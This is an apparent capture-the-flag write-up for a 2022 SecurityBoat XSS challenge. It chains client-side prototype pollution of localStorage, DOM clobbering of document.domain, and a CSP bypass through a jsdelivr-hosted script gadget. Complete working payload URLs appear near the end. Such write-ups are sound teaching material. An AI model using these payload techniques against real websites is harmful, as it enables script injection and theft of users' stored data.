Write up for the XSS Challenge hosted by SecurityBoat in the month of November 2022 submitted by winner of the challenge Bruno Halltari.
The website doesn’t have a ton of features. it is possible to insert a note and a title, then the user can view the content just inserted. Looking at the code, it is immediately possible to identify the injection point:
if(document.domain !== 'ctf.securityboat.net'){
window.welcome.innerHTML = `Hey you've cracked the challenge ;) ${localStorage.flag}`;
document.getElementById('share-url-twitter').removeAttribute("hidden");
document.getElementById('rules').setAttribute("hidden",1);
document.getElementById('share-url-linkedin').removeAttribute("hidden");
}
In the code above localStorage flag
is passed to InnerHTML
which is a common pattern that can lead to XSS if we could control the content of localStorage
, but localStorage
is going to inherit from the Object.prototype
. It means that if we have an client-side prototype pollution we can to control the localStorage
value and insert a malicious content, here there is an example:
I managed to confirm the presence of prototype pollution in this way:
Now that the vulnerability is confirmed, the condition if(document.domain !== 'ctf.securityboat.net')
must be bypassed in order to reach the injection point, to do it we can use a vulnerability called DOM Clobbering.
With Dom Clobbering is also possible to clobber document
properties with some tags, like the <img> or <form>
tag, let’s make an example:
You can see how document.URL
is returning a string with the URL of the page, but after I put <img name=URL>
the img
element will be returned instead of the string, let’s make another example:
As you can see in this screenshot, if we have an img
tag on the page with the name attribute set to “try”
, “document.try”
now refers to this HTML element. As you might now have guessed, we can use this technique to override the “document.domain”
variable with an HTML element and bypass the condition.
Now that this concept is clear, we can use something like:
https://ctf.securityboat.net/title=a1&body=1&subject=a%3Cform%20name=DOMAIN%3E%3C/form%3E&__proto__[flag]=%3Cimg%20src=x%20onerror=alert()%3E
The first part (<form name=DOMAIN>)
is related to the DOM Clobbering technique that we need in order to bypass the condition and reach the injection point described above, the second part of the payload is useful to us because we can pollute flag
with our malicious content, but the alert won’t pop up because there is a CSP to bypass.
These were the rules of the CSP inside a meta tag:
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; style-src 'unsafe-inline' https://cdn.jsdelivr.net; font-src https://cdn.jsdelivr.net; script-src 'self' https://cdn.jsdelivr.net; object-src 'none'"
/>
Here the bypass is very simple, the directive 'script-src'
is accepting jsdeliver
, therefore, inside jsdeliver
there is a well known gadget that we can abuse to bypass the CSP:
<script src="https://unpkg.com/csp-bypass@1.0.2-0/dist/sval-classic.js"></script>
<br csp="alert(1)">
https://ctf.securityboat.net/?title=a1&body=1&subject=a<form name=DOMAIN></form>&__proto__[flag]=<iframe srcdoc="<br csp=alert(localStorage.getItem('flag'))><script src=https://cdn.jsdelivr.net/npm/csp-bypass@1.0.2/dist/sval-classic.js></script>"></iframe>
We are always posting such challenges. We also give rewards and shoutouts to winners of challenges. To participate in such challenges follow us on Twitter, Linkedin, and Instagram.
To increase the arsenal of your knowledge you can also check our latest blogs.